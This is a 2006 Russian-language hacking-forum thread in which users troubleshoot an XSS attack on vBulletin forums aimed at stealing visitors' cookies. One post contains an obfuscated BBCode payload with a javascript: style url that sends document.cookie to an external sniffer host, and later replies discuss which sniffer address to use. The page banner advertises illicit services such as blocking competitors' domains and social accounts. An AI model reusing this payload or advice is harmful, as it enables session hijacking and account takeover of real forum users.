Уязвимость в vBulletin. Или abbsessionhash вместо полных куков

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Уязвимость в vBulletin. Или abbsessionhash вместо полных куков

Опции темы

Поиск в этой теме

Опции просмотра

Уязвимость в vBulletin. Или abbsessionhash вместо полных куков

19.01.2006, 12:02

Smart12

Новичок

Регистрация: 19.01.2006

Сообщений: 2

С нами: 10688137

Репутация: 0

Уязвимость в vBulletin. Или abbsessionhash вместо полных куков

Использовал следующее:
http://video.antichat.net/file105.html

Проверка отработала, алерт вылазит.
Запускаю оснолвную процедуру.....
после перехода на искомый сайт создается файл в котором поидее должны лежать куки, а там лежит только bbsessionhash= значение и больше ничего.
Попробовал прям из формы ПМ, в заголовок вставил искомый код, в алерте выдает полные куки. При отработке скрипта - только сессионхэш.
В чем может быть причина? на заплатку не похоже, иначе проверки бы не работали.

Спасибо.

𝕏 Twitter Reddit Telegram Копировать ссылку

22.01.2006, 17:25

Electro

Участник форума

Регистрация: 23.10.2005

Сообщений: 276

С нами: 10814786

Репутация: 113

А у меня другая проблема ...уже говорил сегодня в другой теме ... короче вставляю сплойт в форуме ..

Код HTML:

[EMAIL=[URL=s as=`s@wew.ew]mailto:assss@wew.ew ]
sssssss[/URL][/EMAIL]` style=`background:url(javaSCrip	t:document.Images[1].src="htt"+"p"+":"+"/"+"/"+"antichat.org/s/Electro.gif?"+document.cookie)`

алерт есть , сплойт не палиться но на сниффе пусто ...может я что нить не так сделал ? если да то буду блогодарен если подскажите...и еще я сижу под ИЕ! а не под оперой иль под файерфокс

23.01.2006, 23:15

woolf

Новичок

Регистрация: 23.01.2006

Сообщений: 1

С нами: 10681812

Репутация: 0

у меня таже проблема что и у Smart12...
помогите..

24.01.2006, 22:47

WizART

Участник форума

Регистрация: 19.07.2005

Сообщений: 292

С нами: 10953146

Репутация: 11

Цитата:

antichat.org/s/Electro.gif?"+document.cookie)`

интересно откуда ты это взял, адрес сниффера: antichat.ru/sniff/s.jpg вроде

24.01.2006, 22:52

Rebz

Флудер

Регистрация: 08.11.2004

Сообщений: 3,395

С нами: 11317286

Репутация: 3876

вообще-то на antichat.org можно зарегить персональный сниффер.. =) Так что все верно.

23.02.2006, 12:52

Smart12

Новичок

Регистрация: 19.01.2006

Сообщений: 2

С нами: 10688137

Репутация: 0

Может появились мысли?

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Уязвимость в vBulletin 3.5.0	Имба	Уязвимости CMS / форумов	0	20.11.2005 03:06
Подмен КУКОВ Ipb2.0.4	Tem	Уязвимости CMS / форумов	10	13.11.2005 13:26

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход